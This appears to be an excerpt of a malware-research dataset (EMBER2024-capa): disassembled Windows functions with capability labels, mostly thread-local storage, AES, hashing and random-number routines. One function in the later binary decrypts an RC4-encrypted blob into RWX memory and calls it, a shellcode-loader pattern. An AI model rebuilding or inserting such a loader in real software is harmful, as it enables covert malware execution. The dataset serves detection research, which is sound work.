joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005df80
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r14, rdx
mov r15, rcx
mov rax, qword [0x1400e0338]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ecx, dword [0x1400e1640]
cmp ecx, 0xffffffff
je 0x14005dfb5
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test al, 3
jne 0x14005dfba
call fcn.14005e1d0
mov eax, dword [0x1400e7c98]
mov ecx, dword [0x1400e5988]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x14005e186
mov rbx, qword [0x1400e7c90]
mov rcx, rbx
call fcn.140044630
mov rcx, qword [0x1400e6480]
add rcx, 1
mov edx, 0x100
lea rax, [0x1400e6490]
nop word cs:[rax + rax]
nop
movzx edi, cl
lea rsi, [rdi + rdi*2]
cmp dword [rax + rsi*8], 0
je 0x14005e03a
lea edi, [rcx + 1]
movzx edi, dil
lea rsi, [rdi + rdi*2]
cmp dword [rax + rsi*8], 0
je 0x14005e03a
add rcx, 2
add rdx, 0xfffffffffffffffe
jne 0x14005e010
jmp 0x14005e05f
lea rcx, [rax + rsi*8]
mov dword [rcx], 1
lea rcx, [rdi + rdi*2]
mov qword [rax + rcx*8 + 8], r14
mov qword [0x1400e6480], rdi
mov dword [r15], edi
mov eax, dword [rax + rcx*8 + 0x10]
mov dword [r15 + 4], eax
movabs r14, 0xaaaaaaaaaaaaaaaa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov qword [rsp + 0x30], r14
mov edi, dword [r15]
cmp edi, 0xffffffff
je 0x14005e08a
mov qword [rsp + 0x30], 0
jmp 0x14005e0f2
mov ecx, 0xffffffff
call fcn.1400447d0
mov rdi, rax
mov ecx, 0xffffffff
call fcn.1400447d0
lea rdx, str.slot____kInvalidSlotValue
lea rcx, [rsp + 0x30]
mov r8, rax
mov r9, rdi
call fcn.140044c30
cmp qword [rsp + 0x30], 0
je 0x14005e0ef
lea rdx, str..._.._base_threading_thread_local_storage.cc
lea rdi, [rsp + 0x28]
lea r9, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x197
call fcn.140045000
mov rcx, rdi
call fcn.140044fd0
mov rcx, rdi
call fcn.140044fe0
mov edi, dword [r15]
mov qword [rsp + 0x30], r14
cmp edi, 0xff
jg 0x14005e10a
mov qword [rsp + 0x30], 0
jmp 0x14005e16c
mov ecx, 0x100
call fcn.1400447d0
mov rsi, rax
mov ecx, edi
call fcn.1400447d0
lea rdx, str.slot____kThreadLocalStorageSize
lea rcx, [rsp + 0x30]
mov r8, rax
mov r9, rsi
call fcn.140044c30
cmp qword [rsp + 0x30], 0
je 0x14005e16c
lea rdx, str..._.._base_threading_thread_local_storage.cc
lea rsi, [rsp + 0x28]
lea r9, [rsp + 0x30]
mov rcx, rsi
mov r8d, 0x198
call fcn.140045000
mov rcx, rsi
call fcn.140044fd0
mov rcx, rsi
call fcn.140044fe0
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14008f710
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [0x1400e7c98]
call fcn.14008f4c0
cmp dword [0x1400e7c98], 0xffffffff
jne 0x14005dfdf
mov ecx, 8
call fcn.14008f354
mov rbx, rax
mov rcx, rax
call fcn.140044620
mov qword [0x1400e7c90], rbx
lea rcx, [0x1400e7c98]
call fcn.14008f558
jmp 0x14005dfdf
Function at 0x14005e1d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
mov eax, 0x1038
call fcn.14008f6a0
sub rsp, rax
mov rax, qword [0x1400e0338]
xor rax, rsp
mov qword [rsp + 0x1030], rax
mov dword [rsp + 0x2c], 0xaaaaaaaa
mov ecx, dword [0x1400e1640]
mov dword [rsp + 0x2c], ecx
cmp ecx, 0xffffffff
jne 0x14005e2ca
lea rcx, [rsp + 0x2c]
call fcn.14006bd00
test al, al
jne 0x14005e24b
lea rdx, str..._.._base_threading_thread_local_storage.cc
lea r9, str.PlatformThreadLocalStorage::AllocTLS_key_
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov r8d, 0xd1
call fcn.140044f40
mov rcx, rsi
call fcn.140044fd0
mov rcx, rsi
call fcn.140044fe0
mov ecx, dword [rsp + 0x2c]
cmp ecx, 0xffffffff
jne 0x14005e2a8
lea rcx, [rsp + 0x2c]
call fcn.14006bd00
test al, al
je 0x14005e269
cmp dword [rsp + 0x2c], 0xffffffff
jne 0x14005e29a
lea rdx, str..._.._base_threading_thread_local_storage.cc
lea r9, str.PlatformThreadLocalStorage::AllocTLS_key___key___PlatformThreadLocalStorage::TLS_KEY_OUT_OF_INDEXES
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov r8d, 0xdb
call fcn.140044f40
mov rcx, rsi
call fcn.140044fd0
mov rcx, rsi
call fcn.140044fe0
mov ecx, 0xffffffff
call sub.KERNEL32.dll_TlsFree
mov ecx, dword [rsp + 0x2c]
mov eax, 0xffffffff
lock cmpxchg dword [0x1400e1640], ecx
mov ecx, dword [rsp + 0x2c]
je 0x14005e2ca
call sub.KERNEL32.dll_TlsFree
mov ecx, dword [0x1400e1640]
mov dword [rsp + 0x2c], ecx
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
and esi, 3
je 0x14005e348
xor ecx, ecx
call fcn.1400447d0
mov rdi, rax
mov ecx, esi
call fcn.1400447d0
lea rdx, str.GetTlsVectorStateAndValue_key___TlsVectorState::kUninitialized
lea rcx, [rsp + 0x30]
mov r8, rax
mov r9, rdi
call fcn.140044c30
cmp qword [rsp + 0x30], 0
je 0x14005e351
lea rdx, str..._.._base_threading_thread_local_storage.cc
lea rsi, [rsp + 0x20]
lea r9, [rsp + 0x30]
mov rcx, rsi
mov r8d, 0xed
call fcn.140045000
mov rcx, rsi
call fcn.140044fd0
mov rcx, rsi
call fcn.140044fe0
jmp 0x14005e351
mov qword [rsp + 0x30], 0
lea rsi, [rsp + 0x30]
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call fcn.1400928e0
mov ecx, dword [rsp + 0x2c]
lea rdx, [rsp + 0x33]
call sub.KERNEL32.dll_TlsSetValue
mov ecx, 0x1000
call fcn.14008f3dc
mov rdi, rax
mov r8d, 0x1000
mov rcx, rax
mov rdx, rsi
call fcn.1400924d0
mov ecx, dword [rsp + 0x2c]
mov rdx, rdi
or rdx, 3
call sub.KERNEL32.dll_TlsSetValue
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.14008f710
mov rax, rdi
add rsp, 0x1038
pop rdi
pop rsi
ret

Function at 0x14005e490
Capabilities:
Get thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [0x1400e1640]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and rax, 0xfffffffffffffffc
je 0x14005e4c0
movsxd rcx, dword [rsi]
shl rcx, 4
mov edx, dword [rax + rcx + 8]
cmp edx, dword [rsi + 4]
jne 0x14005e4c0
mov rax, qword [rax + rcx]
jmp 0x14005e4c2
xor eax, eax
add rsp, 0x20
pop rsi
ret
Function at 0x14005e4d0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov ecx, dword [0x1400e1640]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and rax, 0xfffffffffffffffc
jne 0x14005e4f8
test rdi, rdi
je 0x14005e511
call fcn.14005e1d0
movsxd rcx, dword [rsi]
shl rcx, 4
mov qword [rax + rcx], rdi
mov ecx, dword [rsi + 4]
movsxd rdx, dword [rsi]
shl rdx, 4
mov dword [rax + rdx + 8], ecx
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x14006a0c0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rax, qword [0x1400e0338]
xor rax, rsp
mov qword [rsp + 0x28], rax
test rdx, rdx
je 0x14006a158
mov rsi, rdx
mov rdi, rcx
mov r13d, 0xffffffff
lea r14, str..._.._base_rand_util_win.cc
lea r15, str.success
lea r12, [rsp + 0x20]
jmp 0x14006a118
add rdi, rbx
sub rsi, rbx
je 0x14006a158
cmp rsi, r13
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x14006a110
mov rcx, r12
mov rdx, r14
mov r8d, 0x20
mov r9, r15
call fcn.140044f40
mov rcx, r12
call fcn.140044fd0
mov rcx, r12
call fcn.140044fe0
jmp 0x14006a110
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14008f710
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14006bd00
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x14006bd19
mov dword [rsi], eax
mov al, 1
jmp 0x14006bd1b
xor eax, eax
add rsp, 0x20
pop rsi
ret

Function at 0x14006c8c0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov eax, dword [0x1400e7ef0]
mov ecx, dword [0x1400e5988]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x14006c8f5
lea rcx, [0x1400e7ee8]
add rsp, 0x28
jmp fcn.14005e490
lea rcx, [0x1400e7ef0]
call fcn.14008f4c0
cmp dword [0x1400e7ef0], 0xffffffff
jne 0x14006c8e5
mov qword [0x1400e7ee8], 0
lea rcx, [0x1400e7ee8]
xor edx, edx
call fcn.14005e520
lea rcx, [0x1400e7ef0]
call fcn.14008f558
jmp 0x14006c8e5
Function at 0x140076140
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
mov eax, ecx
test r8, r8
je 0x1400761bc
cmp r8, 1
jne 0x140076152
xor ecx, ecx
jmp 0x14007619e
mov r9, r8
and r9, 0xfffffffffffffffe
xor ecx, ecx
lea r10, [0x1400c8b50]
nop word cs:[rax + rax]
nop dword [rax]
movzx r11d, al
movzx esi, byte [rdx + rcx]
xor esi, r11d
shr eax, 8
xor eax, dword [r10 + rsi*4]
movzx r11d, al
movzx esi, byte [rdx + rcx + 1]
xor esi, r11d
shr eax, 8
xor eax, dword [r10 + rsi*4]
add rcx, 2
cmp r9, rcx
jne 0x140076170
test r8b, 1
je 0x1400761bc
movzx r8d, al
movzx ecx, byte [rdx + rcx]
xor ecx, r8d
lea rdx, [0x1400c8b50]
shr eax, 8
xor eax, dword [rdx + rcx*4]
pop rsi
ret

Function at 0x1400767e0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140076800
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
repz ret

Function at 0x140076840
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140076860
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
repz ret

Function at 0x1400768a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x1400768c3
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
repz ret

Function at 0x140076920
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140076943
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
repz ret
Function at 0x1400769a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
xorps xmm5, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
nop dword [rax]
add rax, 0x10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x1400769c9
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
repz ret

Function at 0x140076a30
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
xorps xmm5, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
nop dword [rax]
add rax, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
aesdec xmm5, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140076a59
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
aesdeclast xmm5, xmm0
repz ret

Function at 0x140076ac0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
pxor xmm3, xmm0
pxor xmm4, xmm0
aesenc xmm2, xmm1
lea rcx, [rcx + rax + 0x20]
neg rax
aesenc xmm3, xmm1
pxor xmm5, xmm0
pxor xmm6, xmm0
aesenc xmm4, xmm1
pxor xmm7, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x140076b1f

Function at 0x140076b10
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
aesenc xmm6, xmm0
aesenc xmm7, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne fcn.140076b10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
aesenclast xmm6, xmm0
aesenclast xmm7, xmm0
repz ret
Function at 0x140076ba0
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
pxor xmm3, xmm0
pxor xmm4, xmm0
aesdec xmm2, xmm1
lea rcx, [rcx + rax + 0x20]
neg rax
aesdec xmm3, xmm1
pxor xmm5, xmm0
pxor xmm6, xmm0
aesdec xmm4, xmm1
pxor xmm7, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x140076bff
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
aesdec xmm5, xmm0
aesdec xmm6, xmm0
aesdec xmm7, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140076bf0
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
aesdeclast xmm5, xmm0
aesdeclast xmm6, xmm0
aesdeclast xmm7, xmm0
repz ret

Function at 0x140076c80
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
pxor xmm4, xmm0
pxor xmm5, xmm0
pxor xmm6, xmm0
lea rcx, [rcx + rax + 0x20]
neg rax
aesenc xmm2, xmm1
pxor xmm7, xmm0
pxor xmm8, xmm0
aesenc xmm3, xmm1
pxor xmm9, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x140076cda

Function at 0x140076cfa
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm8, xmm1
aesenc xmm9, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
aesenc xmm6, xmm0
aesenc xmm7, xmm0
aesenc xmm8, xmm0
aesenc xmm9, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140076cd0
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm8, xmm1
aesenc xmm9, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
aesenclast xmm6, xmm0
aesenclast xmm7, xmm0
aesenclast xmm8, xmm0
aesenclast xmm9, xmm0
repz ret
Function at 0x140076d90
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
pxor xmm4, xmm0
pxor xmm5, xmm0
pxor xmm6, xmm0
lea rcx, [rcx + rax + 0x20]
neg rax
aesdec xmm2, xmm1
pxor xmm7, xmm0
pxor xmm8, xmm0
aesdec xmm3, xmm1
pxor xmm9, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x140076dea
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
aesdec xmm8, xmm1
aesdec xmm9, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
aesdec xmm5, xmm0
aesdec xmm6, xmm0
aesdec xmm7, xmm0
aesdec xmm8, xmm0
aesdec xmm9, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140076de0
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
aesdec xmm8, xmm1
aesdec xmm9, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
aesdeclast xmm5, xmm0
aesdeclast xmm6, xmm0
aesdeclast xmm7, xmm0
aesdeclast xmm8, xmm0
aesdeclast xmm9, xmm0
repz ret
Function at 0x140083e40
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
vmovdqu xmm4, xmmword [rcx - 0x80]
vmovdqu xmm2, xmmword [r11 + 0x20]
lea r13, [rbp - 1]
vmovups xmm15, xmmword [rcx - 0x70]
lea r12, [rcx - 0x60]
vpxor xmm9, xmm1, xmm4
add ebx, 0x6000000
jb 0x140083f60
vpaddb xmm10, xmm1, xmm2
vpaddb xmm11, xmm10, xmm2
vpxor xmm10, xmm10, xmm4
vpaddb xmm12, xmm11, xmm2
vpxor xmm11, xmm11, xmm4
vpaddb xmm13, xmm12, xmm2
vpxor xmm12, xmm12, xmm4
vpaddb xmm14, xmm13, xmm2
vpxor xmm13, xmm13, xmm4
vpaddb xmm1, xmm14, xmm2
vpxor xmm14, xmm14, xmm4
jmp 0x140083ea0
vaesenc xmm9, xmm9, xmm15
vaesenc xmm10, xmm10, xmm15
vaesenc xmm11, xmm11, xmm15
vaesenc xmm12, xmm12, xmm15
vaesenc xmm13, xmm13, xmm15
vaesenc xmm14, xmm14, xmm15
vmovups xmm15, xmmword [r12]
lea r12, [r12 + 0x10]
dec r13d
jne 0x140083ea0
vmovdqu xmm3, xmmword [r12]
vaesenc xmm9, xmm9, xmm15
vpxor xmm4, xmm3, xmmword [rdi]
vaesenc xmm10, xmm10, xmm15
vpxor xmm5, xmm3, xmmword [rdi + 0x10]
vaesenc xmm11, xmm11, xmm15
vpxor xmm6, xmm3, xmmword [rdi + 0x20]
vaesenc xmm12, xmm12, xmm15
vpxor xmm8, xmm3, xmmword [rdi + 0x30]
vaesenc xmm13, xmm13, xmm15
vpxor xmm2, xmm3, xmmword [rdi + 0x40]
vaesenc xmm14, xmm14, xmm15
vpxor xmm3, xmm3, xmmword [rdi + 0x50]
lea rdi, [rdi + 0x60]
vaesenclast xmm9, xmm9, xmm4
vaesenclast xmm10, xmm10, xmm5
vaesenclast xmm11, xmm11, xmm6
vaesenclast xmm12, xmm12, xmm8
vaesenclast xmm13, xmm13, xmm2
vaesenclast xmm14, xmm14, xmm3
vmovups xmmword [rsi], xmm9
vmovups xmmword [rsi + 0x10], xmm10
vmovups xmmword [rsi + 0x20], xmm11
vmovups xmmword [rsi + 0x30], xmm12
vmovups xmmword [rsi + 0x40], xmm13
vmovups xmmword [rsi + 0x50], xmm14
lea rsi, [rsi + 0x60]
repz ret
vpshufb xmm6, xmm1, xmm0
vmovdqu xmm5, xmmword [r11 + 0x30]
vpaddd xmm10, xmm6, xmmword [r11 + 0x40]
vpaddd xmm11, xmm6, xmm5
vpaddd xmm12, xmm10, xmm5
vpshufb xmm10, xmm10, xmm0
vpaddd xmm13, xmm11, xmm5
vpshufb xmm11, xmm11, xmm0
vpxor xmm10, xmm10, xmm4
vpaddd xmm14, xmm12, xmm5
vpshufb xmm12, xmm12, xmm0
vpxor xmm11, xmm11, xmm4
vpaddd xmm1, xmm13, xmm5
vpshufb xmm13, xmm13, xmm0
vpxor xmm12, xmm12, xmm4
vpshufb xmm14, xmm14, xmm0
vpxor xmm13, xmm13, xmm4
vpshufb xmm1, xmm1, xmm0
vpxor xmm14, xmm14, xmm4
jmp 0x140083ea0
Function at 0x14009ccf4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14009ce24
Function at 0x1400010a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor r11d, r11d
movsxd r9, r9d
mov rbx, rcx
mov r10d, r11d
test r9, r9
je 0x140001124
sub rdx, r8
lea eax, [r11 + 1]
and eax, 0x800000ff
jge 0x1400010d7
dec eax
or eax, 0xffffff00
inc eax
movsxd r11, eax
movzx esi, byte [r11 + rbx]
add r10d, esi
and r10d, 0x800000ff
jge 0x1400010f8
dec r10d
or r10d, 0xffffff00
inc r10d
movsxd rcx, r10d
mov al, byte [rcx + rbx]
mov byte [r11 + rbx], al
mov byte [rcx + rbx], sil
movzx eax, byte [r11 + rbx]
add rax, rsi
movzx eax, al
mov cl, byte [rax + rbx]
xor cl, byte [rdx + r8]
mov byte [r8], cl
inc r8
sub r9, 1
jne 0x1400010c3
mov rbx, qword [rsp + 8]
xor eax, eax
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x140001188
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [section..data]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, dword [section..data]
mov rbx, rax
mov r8d, r9d
test r9d, r9d
je 0x1400011c9
xor edx, edx
mov rcx, rax
call fcn.1400011ec
mov r9d, dword [section..data]
mov r8, rbx
lea rdx, [0x140003004]
lea rcx, str.nCKfzhMDPufBLkeVhdrVGXoldrRTUMtCqu
call fcn.140001138
call rbx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x140003808
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x40
mov qword [rax - 0x18], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rbx, rdx
mov rdi, rcx
cmp qword [rcx + 8], 0
je 0x14000385c
mov rcx, qword [rdx + 0x38]
test rcx, rcx
je 0x140003852
mov rax, qword [rcx]
cmp rcx, rdx
setne dl
mov rax, qword [rax + 0x20]
call qword [0x14000dbe8]
and qword [rbx + 0x38], 0
mov eax, 0x80070005
jmp 0x1400038f2
add rcx, 0x10
call fcn.1400039b0
and qword [rdi + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r9, rdi
lea r8, [0x140003940]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_CreateThread]
test rax, rax
jne 0x1400038cb
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_GetLastError]
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400038c7
mov r8, qword [rcx]
cmp rcx, rbx
setne dl
mov rax, qword [r8 + 0x20]
call qword [0x14000dbe8]
and qword [rbx + 0x38], 0
mov eax, edi
jmp 0x1400038f2
mov qword [rdi + 8], rax
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400038f0
invalid
invalid

Function at 0x140005160
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov r11, rdx
movabs r9, 0xcbf29ce484222325
mov rdx, rcx
xor r10d, r10d
movzx eax, byte [r10 + r8]
movabs rcx, 0x100000001b3
xor r9, rax
inc r10
imul r9, rcx
cmp r10, 0x10
jb 0x140005173
mov rcx, qword [rdx + 0x30]
and rcx, r9
mov r9, qword [rdx + 0x18]
mov rdx, qword [rdx + 8]
mov rax, rcx
add rax, rax
lea r10, [rcx + rcx]
mov rax, qword [r9 + rax*8]
cmp qword [r9 + r10*8], rdx
jne 0x1400051ba
mov rcx, rdx
jmp 0x1400051c2
mov rcx, qword [r9 + r10*8 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x1400051fc
mov rcx, qword [rax + 0x10]
cmp rcx, qword [r8]
jne 0x1400051da
mov rcx, qword [rax + 0x18]
cmp rcx, qword [r8 + 8]
